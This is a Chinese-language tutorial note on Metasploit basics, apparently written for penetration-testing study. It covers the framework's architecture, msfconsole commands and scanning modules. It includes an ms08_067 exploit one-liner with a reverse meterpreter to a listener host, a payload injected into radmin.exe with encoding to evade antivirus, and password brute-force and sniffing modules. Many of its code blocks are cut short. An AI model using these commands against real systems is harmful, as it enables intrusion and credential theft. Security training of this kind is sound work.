Mestasploit基本使用学习
Contents
渗透测试——Mestasploit 基本使用
渗透测试者的困扰
- 需要掌握数百个工具软件,上千个命令参数,实在记不住
- 新出现的漏洞 PoC/EXP 有不同的运行环境要求,准备工作繁琐
- 大部分时间都在学习不同工具的使用户环境,如果能统一就好了
Metasploit 简介
目前最流行、最强大、最具扩展性的渗透测试平台软件
基于 Metasploit 进行渗透测试和漏洞分析的流程和方法
2003 年由 HD More 发布第一版,2007 年用 ruby 语言编写
- 框架继承了渗透测试标准(PETS)标准
- 一定程度上统一了渗透测试研究的工作环境
- 新的攻击代码可以比较容易的加入框架
开发活跃版本更新频繁
- 早期版本基于社区力量维护,被 Rapid 7 收购后大枣出其商业版本产品
- 目前分化为四个版本,社区版依然十分活跃
- HD More说:为 Metasploit 写书是种自虐
Metasploit 默认集成 kali linux 中
使用 postgresql 数据库存储数据
- 早期版本需要先启动数据库再启动 msf
Metasploit 架构
- Rex
- 基本功能库,用于完成日常基本任务,无需人工手动编码实现
- 处理 socket 连接与访问、协议应答(http/SSL/SMB 等)
- 编码转换(XOR、Base64、Unicode)
- Msf::Core
- 提供 Metasploit的核心基本 API,是框架的核心能力实现库
- Msf::Base
- 提供友好的的 API 接口,便于模块调用的库
- Plugin 插件
- 连接和调用外部扩展功能和系统
- 模块
- /usr/share/metasploit-framework/modules/
- 技术功能模块(不是流程模块)
- Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
- Payload:成功 exploit 之后,真正在目标系统执行的代码或指令
- shellcode 或系统命令
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
- Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- stages:利用 stager 建立的连接下载的后续payload
- stager、stages 都有多种类型,适用于不同场景
- shellcode 是 payload 的一种,由于期间里正向/反向 shell 而得名
- 技术功能模块(不是流程模块)
- Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)
- Encoders:对 payload 进行加密,躲避 AV 检查的模块
- Nops:提高 paylaod 稳定性及维持大小
基本使用
- 使用前先升级:msfupdate
- msfcli 使用接口,现在已经更新至 msfconsole -x
- msfconsole 使用接口
- 最流行的用户接口
- 几乎可以使用全部 msf 功能
- 控制台命令支持 TAB 自动补全
- 支持外部命令的执行(系统命令等)
- 点击鼠标启动
1 | 通用选项: |
- 进入 msfconsole,查看帮助信息
1 | root@kali:~# msfconsole |
- msf > help show
1 | [*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options |
- msf > help search
1 | search [keywords] : |
- 模块内命令
1 | msf > search ms09_001_write |
- 数据库操作
1 | msf > help db_connect |
- msf > help sessions
Usage: sessions [options] or sessions [id]
1 | 活动的会话操作和交互。 |
5. Exploit 模块
1.Active exploit
攻击者主动连接受害者:
1 | root@kali:~# cat ms08067.rb |
1 | root@kali:~# cat psexec.rb |
2. Passive Exploits
攻击者等待受害者来触发连接,反弹到攻击者
1 | root@kali:~# cat ms07017.rb |
6.生成payload
- 用法
1 | msf > search ms08-067 |
- 自动绕过坏字符
1 | msf payload(windows/shell/bind_tcp) > generate -b '\x00' |
- 手动指定编码模块
1 | msf payload(windows/shell/bind_tcp) > show encoders |
- 注入文件
1 | msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe |
NOP:no-operation / Next Operation (无任何操作)
- EIP 返回存储 NOP sled 的任意地址时将递增,最终导致 shellcode 执行
- 增加一行 EOP
1
msf payload(windows/shell/bind_tcp) > generate -s 14
7. metepreter
1.简介
- 高级、动态、可扩展的 payload
- 基于 metepreter 上下文利用更多漏洞发起攻击
- 后渗透测试阶段一站式操作界面
- 完全基于内存的 DLL 注入式 payload (不写硬盘)
- 注入合法系统进程并建立 stager
- 基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
- 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证)
- 服务端使用 c 语言编写
- 客户端提供基于 ruby 的全特性 API(支持任何语言)
2.使用
1 | root@kali:~# cat metepreter.rb |
- 帮助文件
1 | meterpreter > help |
- 使用
1 | meterpreter > execute -f cmd.exe |
Meterpreter python 扩展
- 2015 年11月份,来自社区贡献
- 无需运行环境,在客户端运行原生 python 代码
- 使用
1 | meterpreter > load python |
9. msfcli
- 2015 年6月已经被取消
- 由 msfconsole -x 取代
- 编写脚本时便于引用
1 | msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit" |
Mestasploit 信息收集
模块位置:
- 信息收集的模块都在 auxiliary/scanner/ 之下
1 | msf > use auxiliary/scanner/ [TAB] |
1. db_nmap
- 跟 nmap 用法一样,结果存放在 msf 的数据库中
1 | msf > db_nmap -sV 10.10.10.0/24 |
- auxiliary 目录下
- RHOSTS <> RHOST
- 192.168.1.20-192.168.1.30、192.168.1.0/24,192.168.11.0/24
- 也可以编写地址列表:file:/root/h.txt
2.主机发现扫描
- use auxiliary/scanner/discovery/arp_sweep
- set INTERFACE、RHOSTS、SHOST、SMAC、THREADS;run
1 | msf > search arp |
3.端口扫描
- use auxiliary/scanner/portscan/syn
- set INTERFACE、PORTS、RHOSTS、THREADS;run
1 | msf > search portscan |
4.僵尸扫描
- 查找 ipidseq 主机(查找僵尸机)
- use auxiliary/scanner/ip/ipidseq
- set RHOSTS 192.168.1.0/24 ;run
- nmap -PN -sI 10.10.10.147 10.10.10.132
1 | msf > use auxiliary/scanner/ip/ipidseq |
1 | msf > db_nmap -PN -sI 10.10.10.147 10.10.10.132 |
5.UDP扫描
- use auxiliary/scanner/discovery/udp_sweep
- use auxiliary/scanner/discovery/udp_probe
1 | msf > use auxiliary/scanner/discovery/udp_sweep |
1 | msf > use auxiliary/scanner/discovery/udp_probe |
6.密码嗅探
- use auxiliary/sniffer/psnuffle
- 支持从 pacap 抓包文件中提取密码
- 功能类似于 dsniff
- 目前只支持 pop3、imap、ftp、HTTP GET 协议
1 | msf > search sniffer |
1 | root@kali:~# ftp 10.10.10.148 |
1 | # 继续上述 |
7.SNMP扫描
- vim /etc/snmp/snmpd.conf (侦听复制修改为 0.0.0.0:161)
- use auxiliary/scanner/snmp/snmp_login
- use auxiliary/scanner/snmp/snmp_enum
- use auxiliary/scanner/snmp/snmp_enumusers (windows)
- use auxiliary/scanner/snmp/snmp_enumshares (windows)
1 | msf > use auxiliary/scanner/snmp/snmp_login |
1 | msf > use auxiliary/scanner/snmp/snmp_enum |
1 | msf > use auxiliary/scanner/snmp/snmp_enum |
1 | msf > use auxiliary/scanner/snmp/snmp_enumusers |
1 | msf > use auxiliary/scanner/snmp/snmp_enumshares |
8.SMB扫描
- SMB 版本扫描
- use auxiliary/scanner/smb/smb_version
- 扫描命令管道。判断 SMB 服务类型(账号、密码)
- use auxiliary/scanner/smb/pipe_auditor
- 扫描通过 SMB 管道可以访问的 RCERPC 服务
- use auxiliary/scanner/smb/pipe_dcerpc_auditor
- SMB 共享账号(账号、密码)
- use auxiliary/scanner/smb/smb_enumshares
- SMB 用户枚举(账号、密码)
- use auxiliary/scanner/smb/smb_enumusers
- SID 枚举(账号、密码)
- use auxiliary/scanner/smb/smb_lookupsid
- SMB 版本扫描
1 | msf > search smb |
1 | # 继续上述 |
- 扫描命令管道。判断 SMB 服务类型(账号、密码)
1 | msf > use auxiliary/scanner/smb/pipe_auditor |
1 | # 继续上述 |
- 扫描通过 SMB 管道可以访问的 RCERPC 服务
1 | msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor |
1 | # 继续上述 |
- SMB 共享账号(账号、密码)
1 | msf > use auxiliary/scanner/smb/smb_enumshares |
1 | # 继续上述 |
- SMB 用户枚举(账号、密码)
1 | msf > use auxiliary/scanner/smb/smb_enumusers |
1 | # 继续上述 |
- SID 枚举(账号、密码)
1 | msf > use auxiliary/scanner/smb/smb_lookupsid |
1 | # 继续上述 |
SSH扫描
- SSH 版本扫描
- use auxiliary/scanner/ssh/ssh_version
- SSH 密码爆破
- use auxiliary/scanner/ssh/ssh_login
- set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt ;set VERBOSE false ;run
- use auxiliary/scanner/ssh/ssh_login
- SSH 公钥登陆
- use auxiliary/scanner/ssh/ssh_login_pubkey
- set KEY_FILE id_rsa;set USERNAME root ;run
- use auxiliary/scanner/ssh/ssh_login_pubkey
- SSH 版本扫描
1 | msf > use auxiliary/scanner/ssh/ssh_version |
- SSH 密码爆破
1 | root@kali:~# more /usr/share/metasploit-framework/data/wordlists/root_userpass.txt |
- SSH 公钥登陆
1 | msf > use auxiliary/scanner/ssh/ssh_login_pubkey |
windows缺少的补丁
基于已经取得的 session 进行检测
use post/windows/gather/enum_patches
- show advanced
- set VERBOSE yes
检查失败
- known bug in WMI query, try migrating to another process
- 迁移到另一个进程再次进行尝试
ms08-067
1 | msf > use exploit/windows/smb/ms08_067_netapi |
1 | meterpreter > backgroun |
1 | msf exploit(windows/smb/ms08_067_netapi) > use post/windows/gather/enum_patches |
1 | # 进程错误,迁移进程 |
mssql 扫描
mssql 扫描端口
- TCP 1422(动态端口)/ UDP 1434 (查询 TCP 端口号)
- use auxiliary/scanner/mssql/mssql_ping
爆破 mssql 密码
use auxiliary/scanner/mssql/mssql_login
远程执行代码(获取数据库权限之后)
use auxiliary/admin/mssql/mssql_exec
- set CMD net user user1 pass123 /ADD
mssql扫描端口
1 | msf > use auxiliary/scanner/mssql/mssql_ping |
FTP扫描
ftp 版本扫描
- use auxiliary/scanner/ftp/ftp_version
- use auxiliary/scanner/ftp/anonymous
- use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ [tab]
Display all 479 possibilities? (y or n)
查询版本信息
1 | msf > use auxiliary/scanner/ftp/ftp_version |
是否允许匿名登录
1
2
3msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(scanner/ftp/anonymous) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ftp/anonymous) > run
暴力破解
1
use auxiliary/scanner/ftp/ftp_login